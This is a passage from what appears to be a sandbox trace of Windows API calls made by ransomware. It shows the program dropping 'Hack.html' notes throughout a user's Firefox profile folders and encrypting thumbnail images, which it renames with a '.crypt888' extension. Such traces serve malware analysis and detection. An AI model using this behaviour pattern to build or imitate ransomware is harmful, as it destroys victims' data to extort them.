lpFindFileData=0x39e990) returned 0 [0077.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb48) returned 1 [0077.425] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\a\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.425] GetFileType (hFile=0x174) returned 0x1 [0077.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb44) returned 1 [0077.425] GetFileType (hFile=0x174) returned 0x1 [0077.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.428] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.428] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.428] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.428] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb48) returned 1 [0077.428] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\b\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.429] GetFileType (hFile=0x174) returned 0x1 [0077.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb44) returned 1 [0077.429] GetFileType (hFile=0x174) returned 0x1 [0077.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.430] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.431] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.431] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.431] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.431] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.431] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.431] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.432] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.432] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.432] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.432] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.432] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb14) returned 1 [0077.432] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\c\\e6\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.433] GetFileType (hFile=0x174) returned 0x1 [0077.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb10) returned 1 [0077.433] GetFileType (hFile=0x174) returned 0x1 [0077.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb48) returned 1 [0077.434] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.434] GetFileType (hFile=0x174) returned 0x1 [0077.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb44) returned 1 [0077.434] GetFileType (hFile=0x174) returned 0x1 [0077.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.436] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.437] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.437] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.437] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.437] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.437] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.438] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.438] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.438] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.438] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.438] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.438] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\d\\08\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.439] GetFileType (hFile=0x174) returned 0x1 [0077.439] GetFileType (hFile=0x174) returned 0x1 [0077.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\d\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.441] GetFileType (hFile=0x174) returned 0x1 [0077.441] GetFileType (hFile=0x174) returned 0x1 [0077.442] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.442] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\e\\69\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.443] GetFileType (hFile=0x174) returned 0x1 [0077.443] GetFileType (hFile=0x174) returned 0x1 [0077.444] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\e\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.444] GetFileType (hFile=0x174) returned 0x1 [0077.444] GetFileType (hFile=0x174) returned 0x1 [0077.447] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\23\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.447] GetFileType (hFile=0x174) returned 0x1 [0077.447] GetFileType (hFile=0x174) returned 0x1 [0077.449] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\f0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.450] GetFileType (hFile=0x174) returned 0x1 [0077.450] GetFileType (hFile=0x174) returned 0x1 [0077.451] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.452] GetFileType (hFile=0x174) returned 0x1 [0077.452] GetFileType (hFile=0x174) returned 0x1 [0077.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.454] GetFileType (hFile=0x174) returned 0x1 [0077.454] GetFileType (hFile=0x174) returned 0x1 [0077.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.456] GetFileType (hFile=0x174) returned 0x1 [0077.456] GetFileType (hFile=0x174) returned 0x1 [0077.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.470] GetFileType (hFile=0x174) returned 0x1 [0077.470] GetFileType (hFile=0x174) returned 0x1 [0077.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\startupcache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.472] GetFileType (hFile=0x174) returned 0x1 [0077.473] GetFileType (hFile=0x174) returned 0x1 [0077.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.482] GetFileType (hFile=0x174) returned 0x1 [0077.483] GetFileType (hFile=0x174) returned 0x1 [0077.483] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec74 | out: lpFileSizeHigh=0x39ec74*=0x0) returned 0x40b0 [0077.483] ReadFile (in: hFile=0x174, lpBuffer=0x27771d0, nNumberOfBytesToRead=0x40b0, lpNumberOfBytesRead=0x39ec20, lpOverlapped=0x0 | out: lpBuffer=0x27771d0*, lpNumberOfBytesRead=0x39ec20*=0x40b0, lpOverlapped=0x0) returned 1 [0077.522] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.524] GetFileType (hFile=0x174) returned 0x1 [0077.524] GetFileType (hFile=0x174) returned 0x1 [0077.524] WriteFile (in: hFile=0x174, lpBuffer=0x27d84b0*, nNumberOfBytesToWrite=0x40c0, lpNumberOfBytesWritten=0x39ec10, lpOverlapped=0x0 | out: lpBuffer=0x27d84b0*, lpNumberOfBytesWritten=0x39ec10*=0x40c0, lpOverlapped=0x0) returned 1 [0077.525] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.crypt888")) returned 1 [0077.527] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.527] GetFileType (hFile=0x174) returned 0x1 [0077.527] GetFileType (hFile=0x174) returned 0x1 [0077.527] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec74 | out: lpFileSizeHigh=0x39ec74*=0x0) returned 0x40b0 [0077.528] ReadFile (in: hFile=0x174, lpBuffer=0x27dcc9c, nNumberOfBytesToRead=0x40b0, lpNumberOfBytesRead=0x39ec20, lpOverlapped=0x0 | out: lpBuffer=0x27dcc9c*, lpNumberOfBytesRead=0x39ec20*=0x40b0, lpOverlapped=0x0) returned 1 [0077.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.559] GetFileType (hFile=0x174) returned 0x1 [0077.559] GetFileType (hFile=0x174) returned 0x1 [0077.559] WriteFile (in: hFile=0x174, lpBuffer=0x283de20*, nNumberOfBytesToWrite=0x40c0, lpNumberOfBytesWritten=0x39ec10, lpOverlapped=0x0 | out: lpBuffer=0x283de20*, lpNumberOfBytesWritten=0x39ec10*=0x40c0, lpOverlapped=0x0) returned 1 [0077.560] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.crypt888")) returned 1 [0077.561] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.563] GetFileType (hFile=0x174) returned 0x1 [0077.563] GetFileType (hFile=0x174) returned 0x1 [0077.563] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec74 | out: lpFileSizeHigh=0x39ec74*=0x0) returned 0x1c362 [0077.563] ReadFile (in: hFile=0x174, lpBuffer=0x36926f0, nNumberOfBytesToRead=0x1c362, lpNumberOfBytesRead=0x39ec20, lpOverlapped=0x0 | out: lpBuffer=0x36926f0*, lpNumberOfBytesRead=0x39ec20*=0x1c362, lpOverlapped=0x0) returned 1 [0077.603] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.605] GetFileType (hFile=0x174) returned 0x1 [0077.605] GetFileType (hFile=0x174) returned 0x1 [0077.605] WriteFile (in: hFile=0x174, lpBuffer=0x371f850*, nNumberOfBytesToWrite=0x1c370, lpNumberOfBytesWritten=0x39ec10, lpOverlapped=0x0 | out: lpBuffer=0x371f850*, lpNumberOfBytesWritten=0x39ec10*=0x1c370, lpOverlapped=0x0) returned 1 [0077.608] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.crypt888")) returned 1 [0077.612] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.613] GetFileType (hFile=0x174) returned 0x1 [0077.613] GetFileType (hFile=0x174) returned 0x1 [0077.614] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.614] GetFileType (hFile=0x174) returned 0x1 [0077.614] GetFileType (hFile=0x174) returned 0x1 [0077.615] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.615] GetFileType (hFile=0x174) returned 0x1 [0077.615] GetFileType (hFile=0x174) returned 0x1 [0077.616] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.616] GetFileType (hFile=0x174) returned 0x1 [0077.617] GetFileType (hFile=0x174) returned 0x1 [0077.629] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.631] GetFileType (hFile=0x174) returned 0x1 [0077.631] GetFileType (hFile=0x174) returned 0x1 [0077.631] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ecdc | out: lpFileSizeHigh=0x39ecdc*=0x0) returned 0x464 [0077.631] ReadFile (in: hFile=0x174, lpBuffer=0x289e01c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec88, lpOverlapped=0x0 | out: lpBuffer=0x289e01c*, lpNumberOfBytesRead=0x39ec88*=0x464, lpOverlapped=0x0) returned 1 [0077.666] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", nBufferLength=0x105, lpBuffer=0x39e6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", lpFilePart=0x0) returned 0x5e [0077.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0077.666] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, 